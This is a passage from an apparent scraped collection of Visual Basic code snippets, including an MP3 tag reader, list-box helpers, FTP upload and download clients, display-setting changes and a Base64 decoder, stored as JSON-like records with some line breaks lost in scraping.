\"\"\n MP3Info.sArtist = \"\"\n MP3Info.sAlbum = \"\"\n MP3Info.sYear = \"\"\n MP3Info.sComment = \"\"\n \n ' Ensure the MP3 file exists\n \n If Dir(sFilename) = \"\" Then Exit Property\n \n ' Retrieve the info data from the MP3\n \n iFreefile = FreeFile\n lFilePos = FileLen(sFilename) - 127\n Open sFilename For Binary As #iFreefile\n Get #iFreefile, lFilePos, sData\n Close #iFreefile\n \n ' Populate the info variables\n \n If Left(sData, 3) = \"TAG\" Then\n MP3Info.sTitle = Mid(sData, 4, 30)\n MP3Info.sArtist = Mid(sData, 34, 30)\n MP3Info.sAlbum = Mid(sData, 64, 30)\n MP3Info.sYear = Mid(sData, 94, 4)\n MP3Info.sComment = Mid(sData, 98, 30)\n MP3Info.sGenre = sGenre(Asc(Mid(sData, 128, 1)))\n End If\n \nEnd Property\nPublic Property Get Title() As String\n Title = RTrim(MP3Info.sTitle)\nEnd Property\nPublic Property Get Artist() As String\n Artist = RTrim(MP3Info.sArtist)\nEnd Property\nPublic Property Get Genre() As String\n Genre = RTrim(MP3Info.sGenre)\nEnd Property\nPublic Property Get Album() As String\n Album = RTrim(MP3Info.sAlbum)\nEnd Property\nPublic Property Get Year() As String\n Year = MP3Info.sYear\nEnd Property\nPublic Property Get Comment() As String\n Comment = RTrim(MP3Info.sComment)\nEnd Property"},{"WorldId":1,"id":3635,"LineNumber":1,"line":"Public Function Replace(sExpression As String, sFind As String, sReplace As String) As String\n' Title: Replace\n' Version: 1.01\n' Author: Leigh Bowers\n' WWW: http://www.esheep.freeserve.co.uk/compulsion\nDim lPos As Long\nDim iFindLength As Integer\n' Ensure we have all required parameters\n If Len(sExpression) = 0 Or Len(sFind) = 0 Then\n Exit Function\n End If\n \n' Determine the length of the sFind variable\n iFindLength = Len(sFind)\n \n' Find the first instance of sFind\n \n lPos = InStr(sExpression, sFind)\n \n' Process and find all subsequent instances\n \n Do Until lPos = 0\n sExpression = Left$(sExpression, lPos - 1) + sReplace + Mid$(sExpression, lPos + iFindLength)\n lPos = InStr(lPos, sExpression, sFind)\n Loop\n \n' Return the result\n Replace = sExpression\nEnd Function"},{"WorldId":1,"id":5989,"LineNumber":1,"line":"Public Function IsLoaded(sForm As String) as Boolean\nDim Frm As Form\n \n' Loop through the Forms collection looking\n' for the form of interest...\n For Each Frm In Forms\n If Frm.Name = sForm Then\n ' Found form in the collection\n IsLoaded = True\n Exit For\n End If\n Next\nEnd Function"},{"WorldId":1,"id":3041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1645,"LineNumber":1,"line":"Const T1 = vbTab\nConst T2 = T1 & T1\nConst TR = T1 & \"<TR>\"\nConst TD = \"<TD>\"\nConst TDEND = \"</TD>\"\nConst TABLESTART = \"<TABLE BORDER WIDTH=100%>\"\nConst TABLEEND = \"</TABLE>\"\nFunction HTMLTable(dbRecord As Recordset) As String\nDim strReturn As String\nDim Fld As Field\nOn Error GoTo Return_Zero\nstrReturn = strReturn & TABLESTART & vbCrLf\nstrReturn = strReturn & TR\nFor Each Fld In dbRecord.Fields\n strReturn = strReturn & TD & Fld.Name & TDEND\nNext Fld\nstrReturn = strReturn & vbCrLf\ndbRecord.MoveFirst\nWhile Not dbRecord.EOF\n strReturn = strReturn & TR\n For Each Fld In dbRecord.Fields\n strReturn = strReturn & TD & Fld.Value & TDEND\n Next Fld\n strReturn = strReturn & vbCrLf\ndbRecord.MoveNext\nWend\nstrReturn = strReturn & TABLEEND\nReturn_Zero:\nHTMLTable = strReturn\nEnd Function"},{"WorldId":1,"id":4987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1648,"LineNumber":1,"line":"'Example: Call SaveListBox(list1, \"C:\\Temp\\MyList.dat\")\nPublic Sub SaveListBox(TheList As ListBox, Directory As String)\n Dim SaveList As Long\n On Error Resume Next\n Open Directory$ For Output As #1\n For SaveList& = 0 To TheList.ListCount - 1\n Print #1, TheList.List(SaveList&)\n Next SaveList&\n Close #1\nEnd Sub\n'Example: Call LoadListBox(list1, \"C:\\Temp\\MyList.dat\")\nPublic Sub LoadListBox(TheList As ListBox, Directory As String)\n Dim MyString As String\n On Error Resume Next\n Open Directory$ For Input As #1\n While Not EOF(1)\n Input #1, MyString$\n DoEvents\n TheList.AddItem MyString$\n Wend\n Close #1\n \nEnd Sub\nPublic Sub PrintListBox(TheList As ListBox)\n Dim SaveList As Long\n On Error Resume Next\n Printer.FontSize = 12\n For SaveList& = 0 To TheList.ListCount - 1\n Printer.Print TheList.List(SaveList&)\n Next SaveList&\n Printer.EndDoc\nEnd Sub\nPublic Function PrintLV(lv As ListView, Subs As Integer)\n \n Printer.FontSize = 12\n Dim subit As Variant\n Dim i As Integer\n Dim x As Integer\n For i = 1 To lv.ListItems.Count\n subit = lv.ListItems(i).Text & vbTab\n For x = 1 To Subs\n subit = subit & lv.ListItems(i).SubItems(x) & vbTab\n Next\n Printer.Print subit\n subit = \"\"\n Next\n Printer.EndDoc\nEnd Function\nPublic Function SaveLV(lv As ListView, Subs As Integer, sPath As String)\n \n Dim subit As Variant\n Dim F As Integer\n Dim i As Integer\n Dim x As Integer\n F = FreeFile\n On Error Resume Next\n Open sPath For Output As #F\n For i = 1 To lv.ListItems.Count\n subit = lv.ListItems(i).Text & vbTab\n For x = 1 To Subs\n subit = subit & lv.ListItems(i).SubItems(x) & vbTab\n Next\n Print #F, subit\n subit = \"\"\n Next\n Close #F\nEnd Function\n"},{"WorldId":1,"id":1658,"LineNumber":1,"line":"Public Sub SetTransparent(frm As Form, obj() As Object)\n 'This code was takin from a AOL Visual Basic\n 'Message Board. It was submited by: SOOPRcow\n 'Modified By Satin Katiyar\n Dim rctClient As RECT, rctFrame As RECT\n Dim hClient As Long, hFrame As Long, hObj As Long\n Dim Start As Integer, Finish As Integer, I As Integer\n \n '// Grab client area and frame area\n GetWindowRect frm.hWnd, rctFrame\n GetClientRect frm.hWnd, rctClient\n \n '// Convert client coordinates to screen coordinates\n Dim lpTL As POINTAPI, lpBR As POINTAPI\n lpTL.x = rctFrame.Left\n lpTL.Y = rctFrame.Top\n lpBR.x = rctFrame.Right\n lpBR.Y = rctFrame.Bottom\n ScreenToClient frm.hWnd, lpTL\n ScreenToClient frm.hWnd, lpBR\n rctFrame.Left = lpTL.x\n rctFrame.Top = lpTL.Y\n rctFrame.Right = lpBR.x\n rctFrame.Bottom = lpBR.Y\n rctClient.Left = Abs(rctFrame.Left)\n rctClient.Top = Abs(rctFrame.Top)\n rctClient.Right = rctClient.Right + Abs(rctFrame.Left)\n rctClient.Bottom = rctClient.Bottom + Abs(rctFrame.Top)\n rctFrame.Right = rctFrame.Right + Abs(rctFrame.Left)\n rctFrame.Bottom = rctFrame.Bottom + Abs(rctFrame.Top)\n rctFrame.Top = 0\n rctFrame.Left = 0\n '// Convert RECT structures to region handles\n hClient = CreateRectRgn(rctClient.Left, rctClient.Top, rctClient.Right, rctClient.Bottom)\n hFrame = CreateRectRgn(rctFrame.Left, rctFrame.Top, rctFrame.Right, rctFrame.Bottom)\n '//Set the Scale mode of form to pixels\n Dim mode As Integer\n mode = frm.ScaleMode\n frm.ScaleMode = 3\n '// Create the new \"Transparent\" boundry & Add the control regions to it\n CombineRgn hFrame, hClient, hFrame, RGN_XOR\n Start = LBound(obj)\n Finish = UBound(obj)\n For I = Start To Finish\n hObj = CreateRectRgn(obj(I).Left + 4, obj(I).Top + 23, obj(I).Left + obj(I).Width + 4, obj(I).Top + obj(I).Height + 23)\n CombineRgn hFrame, hObj, hFrame, RGN_OR\n Next\n '// Now lock the window's area to this created region\n SetWindowRgn frm.hWnd, hFrame, True\n '//Restores the scale mode\n frm.ScaleMode = mode\nEnd Sub\n"},{"WorldId":1,"id":4034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5551,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1674,"LineNumber":1,"line":"Sub SetFastKeyboard()\n Dim Retcode As Long\n Dim FastKeySpeed As Long\n Dim FastKeyDelay As Long\n Dim dummy As Long\n FastKeySpeed = 31\n FastKeyDelay = 0\n dummy = 0\n \n Retcode = SystemParametersInfo(SPI_GETKEYBOARDSPEED, 0, OldKeySpeed, 0)\n Retcode = SystemParametersInfo(SPI_GETKEYBOARDDELAY, 0, OldKeyDelay, 0)\n Retcode = SystemParametersInfo(SPI_SETKEYBOARDSPEED, FastKeySpeed, dummy, SPIF_SENDCHANGE)\n Retcode = SystemParametersInfo(SPI_SETKEYBOARDDELAY, FastKeyDelay, dummy, SPIF_SENDCHANGE)\nEnd Sub\nSub RestoreKeyboard()\n Dim Retcode As Long\n Dim dummy As Long\n dummy = 0\n Retcode = SystemParametersInfo(SPI_SETKEYBOARDSPEED, OldKeySpeed, dummy, SPIF_SENDCHANGE)\n Retcode = SystemParametersInfo(SPI_SETKEYBOARDDELAY, OldKeyDelay, dummy, SPIF_SENDCHANGE)\nEnd Sub"},{"WorldId":1,"id":1679,"LineNumber":1,"line":"Public Sub Combo_AddNew(ByRef cboCurrent As ComboBox, _\n Optional blnCaseSensitive As Boolean = False, _\n Optional blnAddAsUpperCase As Boolean = True)\n \nDim lngServerNum As Long\nDim blnFoundMatch As Boolean\nDim strNewItem As String, strCurrentItem As String\nstrNewItem = cboCurrent.Text\nIf Not blnCaseSensitive Then strNewItem = UCase(strNewItem)\n'Search for matches\nblnFoundMatch = False\nFor lngServerNum = 0 To cboCurrent.ListCount - 1\n strCurrentItem = cboCurrent.List(lngServerNum)\n If Not blnCaseSensitive Then strCurrentItem = UCase(strCurrentItem)\n If strCurrentItem = strNewItem Then blnFoundMatch = True\nNext lngServerNum\n'If one is found, add and re-select\nIf Not blnFoundMatch Then\n If Not blnAddAsUpperCase Then\n cboCurrent.AddItem cboCurrent.Text\n Else\n cboCurrent.AddItem UCase(cboCurrent.Text)\n End If\n \n cboCurrent.ListIndex = cboCurrent.NewIndex\nEnd If\n \nEnd Sub\nPublic Sub Combo_TypeAhead(ByRef cboCurrent As ComboBox, _\n Optional blnCaseSensitive As Boolean = False)\n'This function will allow the combobox cboCurrent to have the type-ahead feature _\nfound in Access. When the user types in text, it will look for a matching item in the _\nlist and add the remainder of the item on, and highlight the text.\n'By default, the comparison is not case sensitive. If blnCaseSensitive is overridden _\nwith a true value, then it will consider case in the comparison.\nDim lngItemNum As Long, lngSelectedLength As Long, lngMatchIndex As Long\nDim strSearchText As String, strCurrentText As String\n'Check for empty control, and abort if found\nIf cboCurrent.Text = \"\" Then Exit Sub\n'Set up initial values for search\nlngMatchIndex = -1\nstrSearchText = cboCurrent.Text\nIf Not blnCaseSensitive Then strSearchText = UCase(strSearchText)\nlngSelectedLength = Len(strSearchText)\n'Search all items for first match\nFor lngItemNum = 0 To cboCurrent.ListCount - 1\n strCurrentText = Mid(cboCurrent.List(lngItemNum), 1, lngSelectedLength)\n If Not blnCaseSensitive Then strCurrentText = UCase(strCurrentText)\n \n 'If a match is found, record it and abort loop\n If strSearchText = strCurrentText Then\n lngMatchIndex = lngItemNum\n Exit For\n End If\nNext lngItemNum\n'If a match was found, select it and highlight the \"filled in\" text\nIf lngMatchIndex >= 0 Then\n cboCurrent.ListIndex = lngMatchIndex\n cboCurrent.SelStart = lngSelectedLength\n cboCurrent.SelLength = Len(cboCurrent.List(cboCurrent.ListIndex)) - lngSelectedLength\nEnd If\nEnd Sub"},{"WorldId":1,"id":1683,"LineNumber":1,"line":"Sub ChangePriority(dwPriorityClass As Long)\n Dim hProcess&\n Dim ret&, pid&\n pid = GetCurrentProcessId() ' get my proccess id\n ' get a handle to the process\n hProcess = OpenProcess(PROCESS_DUP_HANDLE, True, pid)\n If hProcess = 0 Then\n Err.Raise 2, \"ChangePriority\", \"Unable to open the source process\"\n Exit Sub\n End If\n ' change the priority\n ret = SetPriorityClass(hProcess, dwPriorityClass)\n ' Close the source process handle\n Call CloseHandle(hProcess)\n If ret = 0 Then\n Err.Raise 4, \"ChangePriority\", \"Unable to close source handle\"\n Exit Sub\n End If\nEnd Sub\nPrivate Sub Form_Load()\n Timer1.Interval = 2000\n Call Timer1_Timer\nEnd Sub\nPrivate Sub Timer1_Timer()\n Static Priority&\n If Priority = IDLE_PRIORITY_CLASS Then\n Priority = HIGH_PRIORITY_CLASS\n Label1.Caption = \"HIGH priority\"\n Else\n Label1.Caption = \"IDLE priority\"\n Priority = IDLE_PRIORITY_CLASS\n End If\n Call ChangePriority(Priority)\nEnd Sub\n"},{"WorldId":1,"id":2197,"LineNumber":1,"line":"Sub Timer1_Timer ()\n Unload Form1\n Load Form2\n Form2.Show\nEnd Sub\n'The above code tells Visual Basic that after the Timer control waits for the time specified by the Interval property, it should unload Form1 (your splash screen) and then load and display Form2 (which contains your 'program's first screen).\n\nSub Image1_Click ()\n Timer1.Enabled = False\n Unload Form1\n Load Form2\n Form2.Show\nEnd Sub\n\n\n'Experiment with creating splash screens for all of your programs. Whether you need to use splash screens to give your programs a professional look, or you need a splash screen to fake the illusion of speed for your users, you may find splash screens to be a simple, yet effective way to make your programs more acceptable to the average user.\n\nThe above steps are all that you need for a splash screen to disguise the fact that your program takes time to load. However, if your program loads quickly, you can give the user the option of clicking on the splash screen to make it go away, rather than wait a specified amount of time.\nTo give your splash screens the ability to disappear when the user clicks the mouse, add the following code to the Image1 event procedure stored on Form1\n"},{"WorldId":1,"id":5079,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Form_Resize()\n ResizeAll Form1\n'Calls for the ResizeAll function to run\n'Change Form1 to the form name\nEnd Sub"},{"WorldId":1,"id":4832,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2071,"LineNumber":1,"line":"Dim a(14) As Byte\nDim i As Integer\nPublic Function HiByte(ByVal wParam As Integer)\n HiByte = wParam \\ &H100 And &HFF&\nEnd Function\nPublic Function LoByte(ByVal wParam As Integer)\n LoByte = wParam And &HFF&\nEnd Function\nPrivate Sub Command1_Click()\n On Error GoTo 10\n \n a(0) = 190\n a(1) = 15\n a(2) = 1\n a(3) = 185\n a(4) = 0\n a(5) = 0\n a(6) = 252\n a(7) = 172\n a(8) = 205\n a(9) = 41\n a(10) = 73\n a(11) = 117\n a(12) = 250\n a(13) = 205\n a(14) = 32\n CommonDialog1.Filter = \"Text Files|*.txt|\"\n CommonDialog1.Action = 1\n \n Open CommonDialog1.filename For Input As #1\n sourcelen = LOF(1)\n Close #1\n \n a(4) = LoByte(sourcelen)\n a(5) = HiByte(sourcelen)\n \n newfilename = Left(CommonDialog1.FileTitle, Len(CommonDialog1.FileTitle) - 4) & \".exe\"\n If MsgBox(\"Are you sure you want to convert `\" & CommonDialog1.FileTitle & \"` to `\" & newfilename & \"`\", vbYesNo, \"Confirm\") = vbNo Then Exit Sub\n Open CommonDialog1.filename For Input As #1\n Open newfilename For Output As #2\n t = Input(LOF(1), 1)\n For k = 0 To 14\n st = st & Chr(a(k))\n Next k\n st = st & t\n Print #2, st\n Close #1\n Close #2\n Label1.Caption = \"Converted successful\"\n Exit Sub\n10\n Label1.Caption = \"Error\"\nEnd Sub\n"},{"WorldId":1,"id":1783,"LineNumber":1,"line":"Dim Commun(5) As Com\nDim CommunState As Integer\nDim Site As String\nDim Username As String\nDim Password As String\nDim Remotefile As String\nDim Localfile As String\nDim Buffersize As Long\nDim CloseAfterSend As Boolean\nPrivate Sub Command1_Click()\nSite = \"\"\nUsername = \"\"\nPassword = \"\"\nLocalfile = \"c:\\windows\\desktop\\view.exe\"\nRemotefile = \"/view.exe\"\nCommun(0).Reply = \"220\"\nCommun(0).BackCommand = \"USER \" + Username\nCommun(1).Reply = \"331\"\nCommun(1).BackCommand = \"PASS \" + Password\nCommun(2).Reply = \"230\"\nCommun(2).BackCommand = \"TYPE I\"\nCommun(3).Reply = \"200\"\nCommun(3).BackCommand = \"PORT\"\nCommun(4).Reply = \"200\"\nCommun(4).BackCommand = \"STOR \" + Remotefile\nCommun(5).Reply = \"\"\nCommun(5).BackCommand = \"\"\nBuffersize = 2920\nDim Nr1 As Integer\nDim Nr2 As Integer\nDim LocalIP As String\nLocalIP = Winsock1.LocalIP\nDo Until InStr(LocalIP, \".\") = 0\nLocalIP = Left(LocalIP, InStr(LocalIP, \".\") - 1) + \",\" + Right(LocalIP, Len(LocalIP) - InStr(LocalIP, \".\"))\nLoop\nRandomize Timer\nNr1 = Int(Rnd * 12) + 5\nNr2 = Int(Rnd * 254) + 1\nCommun(3).BackCommand = \"PORT \" + LocalIP + \",\" + Trim(Str(Nr1)) + \",\" + Trim(Str(Nr2))\nWinsock2.Close\nDo Until Winsock2.State = 0\nDoEvents\nLoop\nWinsock2.LocalPort = (Nr1 * 256) + Nr2\nWinsock2.Listen\nWinsock1.Close\nDo Until Winsock1.State = 0\nDoEvents\nLoop\nWinsock1.RemoteHost = Site\nWinsock1.RemotePort = 21\nWinsock1.Connect\nCommunState = 0\nDo Until Winsock1.State = 7 Or Winsock1.State = 9\nDoEvents\nLoop\nSelect Case Winsock1.State\nCase 9\nMsgBox \"Couldn't reach server \" + Site + \".\", vbOKOnly + vbInformation, \"FTP Upper\"\nCase 7\nOpen Localfile For Binary As #1\nEnd Select\nEnd Sub\nPrivate Sub Form_Load()\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim tmpS As String\nWinsock1.GetData tmpS, , bytesTotal\nDebug.Print tmpS;\nSelect Case Left(tmpS, 3)\nCase Commun(CommunState).Reply\nWinsock1.SendData Commun(CommunState).BackCommand + Chr(13) + Chr(10)\nDebug.Print Commun(CommunState).BackCommand\nCommunState = CommunState + 1\nCase \"150\"\nDo Until Winsock2.State = 7\nDoEvents\nLoop\nSendNextData\nCase \"226\"\nWinsock1.Close\nDo Until Winsock1.State = 0\nDoEvents\nLoop\nMsgBox \"Transfer complete.\", vbOKOnly + vbInformation, \"FTP Upper\"\nCase Else\nMsgBox \"Bad reply: \" + Left(tmpS, Len(tmpS) - 2), vbOKOnly + vbInformation, \"FTP Upper\"\nEnd Select\nEnd Sub\nPrivate Sub Winsock2_ConnectionRequest(ByVal requestID As Long)\nWinsock2.Close\nDo Until Winsock2.State = 0\nDoEvents\nLoop\nWinsock2.Accept requestID\nDo Until Winsock2.State = 7\nDoEvents\nLoop\nEnd Sub\nSub SendNextData()\nDim Take As Long\nDim Buffer As String\nIf LOF(1) - Seek(1) < Buffersize Then Take = LOF(1) - Seek(1) + 1 Else Take = Buffersize\nBuffer = Input(Take, 1)\nWinsock2.SendData Buffer\nIf Take < Buffersize Then\nClose #1\nCloseAfterSend = True\nEnd If\nOn Error Resume Next\nLabel1 = Trim(Str(Seek(1))) + \"/\" + Trim(Str(LOF(1)))\nOn Error GoTo 0\nEnd Sub\nPrivate Sub Winsock2_SendComplete()\nIf CloseAfterSend = True Then\nWinsock2.Close\nDo Until Winsock2.State = 0\nDoEvents\nLoop\nCloseAfterSend = False\nElse\nSendNextData\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":1728,"LineNumber":1,"line":"Dim States(4) As Com ' initialize the command/reply array\nDim State As Integer ' tells where in the commucation process we are\nDim Total As Long ' Total data to recieve\nDim Current As Long ' Current data recieved\nDim Old As Long ' a timer1 data value\nDim server as string\ndim Username as String\ndim password as string\ndim LocalFile as String\ndim remotefile as string\nPrivate Sub Command1_Click()\nServer = \"ftp.microsoft.com\"\nUsername = \"anonymous\"\nPassword = \"guest\"\nLocalFile = \"c:\\vbrun60.exe\"\nRemotefile = \"/Softlib/MSLFILES/VBRUN60.EXE\"\nStates(0).BackCode = \"220\" ' this is the welcome message from server\nStates(0).Command = \"USER \" + username ' logges in.\nStates(1).BackCode = \"331\" ' \"Username ok. Need password\" from server\nStates(1).Command = \"PASS \" + password ' send the password\nStates(2).BackCode = \"230\" ' \"Access allowed\" massage from server\nStates(2).Command = \"TYPE I\" ' Sets the type\nStates(3).BackCode = \"200\" ' \"TYPE I OK\" from server\nStates(3).Command = \"PORT \" ' Port command (enhanced features command button click.\"\nStates(4).BackCode = \"200\" ' On port OK\nStates(4).Command = \"RETR \" + remotefile ' send request for file\nWinsock1.Close\nWinsock2.Close\nDo Until Winsock1.State = 0 And Winsock2.State = 0\nDoEvents\nLoop\nWinsock1.RemoteHost = Server\nWinsock1.RemotePort = 21\nDim nr1 As Long\nDim nr2 As Long\nRandomize Timer\nnr1 = Int(Rnd * 126) + 1\nnr2 = Int(Rnd * 255) + 1\nWinsock2.LocalPort = (nr1 * 256) + nr2\nDim IP As String\nIP = Winsock2.LocalIP\nDo Until InStr(IP, \".\") = 0\nIP = Left(IP, InStr(IP, \".\") - 1) + \",\" + Right(IP, Len(IP) - InStr(IP, \".\"))\nLoop\nStates(3).Command = \"PORT \" + IP + \",\" + Trim(Str(nr1)) + \",\" + Trim(Str(nr2))\nWinsock2.Listen\nWinsock1.Connect\nOpen localfile For Output As #1\nEnd Sub\nPrivate Sub Timer1_Timer() ' status timer (calculates speed and elabsed time.)\nDim Left As Long\nLabel2 = Trim(Str((Current - Old) / 512)) + \" KB/s\"\nIf (Current - Old) > 0 Then\nLeft = Total - Current\nLabel3 = Trim(Str(Left / (Current - Old))) + \" Sec left.\"\nElse\nLabel3 = \"dunno\"\nEnd If\nOld = Current\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' handles the ftp connection\nDim tmpS As String\nWinsock1.GetData tmpS, , bytesTotal\nIf State < 5 Then\nIf Left(tmpS, 3) = States(State).BackCode Then\nWinsock1.SendData States(State).Command + Chr(13) + Chr(10)\nDebug.Print States(State).Command + Chr(13) + Chr(10)\nState = State + 1\nElse\nMsgBox \"Error! \" + Left(tmpS, Len(tmpS) - 2), vbOKOnly + vbCritical, \"FTPget\"\nEnd If\nElseIf State = 6 Then\nTimer1.Enabled = False\nMsgBox \"Done!\", vbOKOnly + vbInformation, \"FTPget\"\nElse\nIf Left(tmpS, 4) = \"150 \" Then\nTotal = Val(Right(tmpS, Len(tmpS) - InStr(tmpS, \"(\")))\nTimer1.Enabled = True\nEnd If\nState = State + 1\nEnd If\nEnd Sub\nPrivate Sub Winsock2_Close() ' handles the data connection\nClose #1\nWinsock1.Close\nEnd Sub\nPrivate Sub Winsock2_ConnectionRequest(ByVal requestID As Long)\nWinsock2.Close\nDo Until Winsock2.State = 0\nDoEvents\nLoop\nWinsock2.Accept requestID\nEnd Sub\nPrivate Sub Winsock2_DataArrival(ByVal bytesTotal As Long)\nDim tmpS As String\nWinsock2.GetData tmpS, , bytesTotal\nPrint #1, tmpS;\nCurrent = Current + Len(tmpS)\nLabel1 = Trim(Str(Current)) + \" / \" + Trim(Str(Total))\nEnd Sub\nPrivate Sub Form_Load()\nTimer1.Enabled = False\nTimer1.Interval = 500\nEnd Sub\n"},{"WorldId":1,"id":4760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3838,"LineNumber":1,"line":"Function RemoveChar(sText As String, sChar As String) As String\n Dim iPos As Integer, iStart As Integer\n Dim sTemp As String\n iStart = 1\n Do\n iPos = InStr(iStart, sText, sChar)\n If iPos <> 0 Then\n sTemp = sTemp & Mid(sText, iStart, (iPos - iStart))\n iStart = iPos + 1\n End If\n Loop Until iPos = 0\n sTemp = sTemp & Mid(sText, iStart)\n RemoveChar = sTemp\nEnd Function\n\n'The code could then be called like this\nCall RemoveChar(Text1.text, \" \")\n'This will rmove all the spaces from the textbox\n'named Text1\n'I hope this helps some people out. I have actualy\n'surprisignly enought had 37 requests from visitors\n'to my site for this code."},{"WorldId":1,"id":3840,"LineNumber":1,"line":"'Changes the resolution to 640x480 with the current colordepth.\nDim DevM As DEVMODE\n'Get the info into DevM\nerg& = EnumDisplaySettings(0&, 0&, DevM)\n'We don't change the colordepth, because a\n'rebot will be necessary\nDevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT 'Or DM_BITSPERPEL\nDevM.dmPelsWidth = 640 'ScreenWidth\nDevM.dmPelsHeight = 480 'ScreenHeight\n'DevM.dmBitsPerPel = 32 (could be 8, 16, 32 or even 4)\n'Now change the display and check if possibleerg& = ChangeDisplaySettings(DevM, CDS_TEST)\n'Check if succesfullSelect Case erg&\nCase DISP_CHANGE_RESTART\n an = MsgBox(\"You've to reboot\", vbYesNo + vbSystemModal, \"Info\")\n If an = vbYes Then\n erg& = ExitWindowsEx(EWX_REBOOT, 0&)\n End If\nCase DISP_CHANGE_SUCCESSFUL\n erg& = ChangeDisplaySettings(DevM, CDS_UPDATEREGISTRY)\n MsgBox \"Everything's ok\", vbOKOnly + vbSystemModal, \"It worked!\"\nCase Else\n MsgBox \"Mode not supported\", vbOKOnly + vbSystemModal, \"Error\"\nEnd SelectEnd Sub\n"},{"WorldId":1,"id":3841,"LineNumber":1,"line":"'Add this code to the form_load event\n'or whatever you want to make it occur\n'Get the hWnd of the desktop\nDeskhWnd& = GetDesktopWindow()\n'BitBlt needs the DC to copy the image. So, we\n'need the GetDC API.\nDeskDC& = GetDC(DeskhWnd&)\nBitBlt Form1.hDC, 0&, 0&, _\nScreen.Width, Screen.Height, DeskDC&, _\n0&, 0&, SRCCOPY\n'This code was requested by 1 visitor to my site\n'Check out my site at http://www.vbtutor.com\n'Thanks"},{"WorldId":1,"id":3843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2387,"LineNumber":1,"line":"'Copy the part below and paste it into the Notepad \n'and save it as DecodeMime.frm\n'-------------------------8< Cut here ----------------------------------------\nVERSION 5.00\nBegin VB.Form Form1 \n BorderStyle = 4 'Festes Werkzeugfenster\n Caption = \"Base64 Decode Example\"\n ClientHeight = 2205\n ClientLeft = 45\n ClientTop = 300\n ClientWidth = 6000\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 2205\n ScaleWidth = 6000\n ShowInTaskbar = 0 'False\n StartUpPosition = 2 'Bildschirmmitte\n Begin VB.CommandButton Decode \n Caption = \"Decode\"\n Height = 495\n Left = 1800\n TabIndex = 2\n Top = 1560\n Width = 1815\n End\n Begin VB.TextBox Binary \n Height = 285\n Left = 240\n TabIndex = 1\n Top = 1080\n Width = 5295\n End\n Begin VB.TextBox Base64 \n Height = 285\n Left = 240\n TabIndex = 0\n Text = \"N6iOK/rfOyMWYyJ5EVHoLdFLty707JuWNhr5aCI8YGsOIDQTLdv7sQ==\"\n Top = 480\n Width = 5295\n End\n Begin VB.Label Label2 \n Caption = \"Binarys:\"\n Height = 255\n Left = 240\n TabIndex = 4\n Top = 840\n Width = 735\n End\n Begin VB.Label Label1 \n Caption = \"Base64:\"\n Height = 255\n Left = 240\n TabIndex = 3\n Top = 240\n Width = 735\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\n'*********************************************************\n'This is the Base64 Decode Example and show you how to\n'decode Base64!\n'\n'At the moment I'm to laszy to write a hole programm to\n'decrypt Mime Attachements, so if you want you can take\n'this example of how to do it right and write you own\n'routine! You have to write a few routines to find the\n'specific Mime headers. If you want to know more about\n'this, send me an E-Mail...\n'\n'E-mail: galgen@wtal.de\n'*********************************************************\nPrivate Function Base64Decode(Basein As String) As String\nDim counter As Integer\nDim Temp As String\n'For the dec. Tab\nDim DecodeTable As Variant\nDim Out(2) As Byte\nDim inp(3) As Byte\n'DecodeTable holds the decode tab\nDecodeTable = Array(\"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"62\", \"255\", \"255\", \"255\", \"63\", \"52\", \"53\", \"54\", \"55\", \"56\", \"57\", \"58\", \"59\", \"60\", \"61\", \"255\", \"255\", \"255\", \"64\", \"255\", \"255\", \"255\", \"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", _\n\"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\", \"25\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"26\", \"27\", \"28\", \"29\", \"30\", \"31\", \"32\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"39\", \"40\", \"41\", \"42\", \"43\", \"44\", \"45\", \"46\", \"47\", \"48\", \"49\", \"50\", \"51\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\" _\n, \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", 